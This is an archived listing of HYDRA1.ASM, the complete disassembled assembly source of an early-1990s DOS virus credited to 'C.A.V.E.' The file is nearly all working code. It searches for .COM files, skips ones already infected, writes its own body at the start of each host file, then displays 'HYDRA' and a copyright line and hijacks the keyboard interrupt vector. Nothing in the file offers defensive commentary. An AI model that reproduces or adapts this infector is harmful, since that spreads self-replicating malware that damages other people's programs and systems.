home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / HYDRA1.ASM < prev    next >
Assembly Source File  |  1992-10-11  |  5KB  |  197 lines

  1.  
  2. PAGE  59,132
  3.  
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                         ██
  6. ;██                    HYDRA1                         ██
  7. ;██                                         ██
  8. ;██      Created:   27-Aug-91                             ██
  9. ;██      Passes:    5           Analysis Options on: AW                 ██
  10. ;██      Copyright (c)                                 ██
  11. ;██                                         ██
  12. ;██████████████████████████████████████████████████████████████████████████
  13.  
  14. psp_cmd_size    equ    80h
  15. data_12e    equ    100h
  16. data_13e    equ    193h
  17. data_14e    equ    196h
  18. data_15e    equ    271h
  19. data_16e    equ    293h
  20.  
  21. seg_a        segment    byte public
  22.         assume    cs:seg_a, ds:seg_a
  23.  
  24.  
  25.         org    100h
  26.  
  27. hydra1        proc    far
  28.  
  29. start:
  30.         jmp    loc_1
  31.         pop    cx
  32.         inc    sp
  33.         add    [bx+si],al
  34. data_3        db    'HyDra-1   Beta - Not For Release'
  35.         db    '. *.CO?'
  36.         db    0
  37. data_6        dw    0, 8B39h
  38. data_8        dw    0
  39. data_9        db    0
  40.         db    29 dup (0)
  41. data_10        db    0
  42.         db    13 dup (0)
  43. data_11        db    'HYDRA$'
  44. copyright    db    'Copyright (c)'
  45.         db    '  1991 by C.A.V.E.  $'
  46. loc_1:
  47.         push    ax
  48.         mov    ax,cs
  49.         add    ax,1000h
  50.         xor    di,di            ; Zero register
  51.         mov    cx,193h
  52.         mov    si,100h
  53.         mov    es,ax
  54.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  55.         mov    ah,1Ah
  56.         mov    dx,offset data_9
  57.         int    21h            ; DOS Services  ah=function 1Ah
  58.                         ;  set DTA(disk xfer area) ds:dx
  59.         mov    ah,4Eh            ; 'N'
  60.         mov    dx,offset data_3+22h    ; ('*')
  61.         int    21h            ; DOS Services  ah=function 4Eh
  62.                         ;  find 1st filenam match @ds:dx
  63.         jc    loc_5            ; Jump if carry Set
  64. loc_2:
  65.         mov    ah,3Dh            ; '='
  66.         mov    al,2
  67.         mov    dx,offset data_10
  68.         mov    al,2
  69.         int    21h            ; DOS Services  ah=function 3Dh
  70.                         ;  open file, al=mode,name@ds:dx
  71.         mov    bx,ax
  72.         push    es
  73.         pop    ds
  74.         mov    ax,3F00h
  75.         mov    cx,0FFFFh
  76.         mov    dx,data_13e
  77.         int    21h            ; DOS Services  ah=function 3Fh
  78.                         ;  read file, bx=file handle
  79.                         ;   cx=bytes to ds:dx buffer
  80.         add    ax,193h
  81.         mov    cs:data_8,ax
  82.         cmp    word ptr ds:data_14e,4459h
  83.         jne    loc_3            ; Jump if not equal
  84.         mov    ah,3Eh            ; '>'
  85.         int    21h            ; DOS Services  ah=function 3Eh
  86.                         ;  close file, bx=file handle
  87.         push    cs
  88.         pop    ds
  89.         mov    ah,4Fh            ; 'O'
  90.         int    21h            ; DOS Services  ah=function 4Fh
  91.                         ;  find next filename match
  92.         jc    loc_6            ; Jump if carry Set
  93.         jmp    short loc_2
  94. loc_3:
  95.         xor    cx,cx            ; Zero register
  96.         mov    dx,cx
  97.         mov    ax,4200h
  98.         int    21h            ; DOS Services  ah=function 42h
  99.                         ;  move file ptr, bx=file handle
  100.                         ;   al=method, cx,dx=offset
  101.         jc    loc_4            ; Jump if carry Set
  102.         mov    ah,40h            ; '@'
  103.         xor    dx,dx            ; Zero register
  104.         mov    cx,cs:data_8
  105.         int    21h            ; DOS Services  ah=function 40h
  106.                         ;  write file  bx=file handle
  107.                         ;   cx=bytes from ds:dx buffer
  108. loc_4:
  109.         mov    ah,3Eh            ; '>'
  110.         int    21h            ; DOS Services  ah=function 3Eh
  111.                         ;  close file, bx=file handle
  112.         push    cs
  113.         pop    ds
  114. loc_5:
  115.         mov    ah,1Ah
  116.         mov    dx,psp_cmd_size
  117.         int    21h            ; DOS Services  ah=function 1Ah
  118.                         ;  set DTA(disk xfer area) ds:dx
  119.         jmp    short loc_7
  120.         nop
  121. loc_6:
  122.         push    dx
  123.         xor    ax,ax            ; Zero register
  124.         mov    ax,0F00h
  125.         int    10h            ; Video display   ah=functn 0Fh
  126.                         ;  get state, al=mode, bh=page
  127.                         ;   ah=columns on screen
  128.         mov    ah,0
  129.         int    10h            ; Video display   ah=functn 00h
  130.                         ;  set display mode in al
  131.         mov    ax,200h
  132.         mov    dh,6
  133.         mov    dl,25h            ; '%'
  134.         int    10h            ; Video display   ah=functn 02h
  135.                         ;  set cursor location in dx
  136.         xor    dx,dx            ; Zero register
  137.         mov    dx,offset data_11    ; ('HYDRA')
  138.         mov    ah,9
  139.         int    21h            ; DOS Services  ah=function 09h
  140.                         ;  display char string at ds:dx
  141.         mov    ax,200h
  142.         mov    dh,17h
  143.         mov    dl,0
  144.         int    10h            ; Video display   ah=functn 02h
  145.                         ;  set cursor location in dx
  146.         mov    dx,offset copyright    ; ('Copyright (c)')
  147.         mov    ah,9
  148.         int    21h            ; DOS Services  ah=function 09h
  149.                         ;  display char string at ds:dx
  150.         mov    ax,200h
  151.         mov    dh,18h
  152.         mov    dl,0
  153.         int    10h            ; Video display   ah=functn 02h
  154.                         ;  set cursor location in dx
  155.         mov    ax,3504h
  156.         int    21h            ; DOS Services  ah=function 35h
  157.                         ;  get intrpt vector al in es:bx
  158.         mov    ax,es
  159.         mov    dx,bx
  160.         mov    ds,ax
  161.         mov    ax,2509h
  162.         int    21h            ; DOS Services  ah=function 25h
  163.                         ;  set intrpt vector al to ds:dx
  164.         mov    ax,0
  165.         int    21h            ; DOS Services  ah=function 00h
  166.                         ;  terminate, cs=progm seg prefx
  167. loc_7:
  168.         xor    di,di            ; Zero register
  169.         mov    si,data_15e
  170.         mov    cx,22h
  171.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  172.         pop    bx
  173.         mov    cs:data_6,0
  174.         mov    word ptr cs:data_6+2,es
  175.         pop    bx
  176.         jmp    dword ptr cs:data_6
  177.         push    ds
  178.         pop    es
  179.         mov    cx,0FFFFh
  180.         mov    si,data_16e
  181.         mov    di,data_12e
  182.         sub    cx,si
  183.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  184.         mov    word ptr cs:[100h],100h
  185.         mov    word ptr cs:[102h],ds
  186.         mov    ax,bx
  187.         jmp    dword ptr cs:[100h]
  188.         int    20h            ; DOS program terminate
  189.  
  190. hydra1        endp
  191.  
  192. seg_a        ends
  193.  
  194.  
  195.  
  196.         end    start
  197.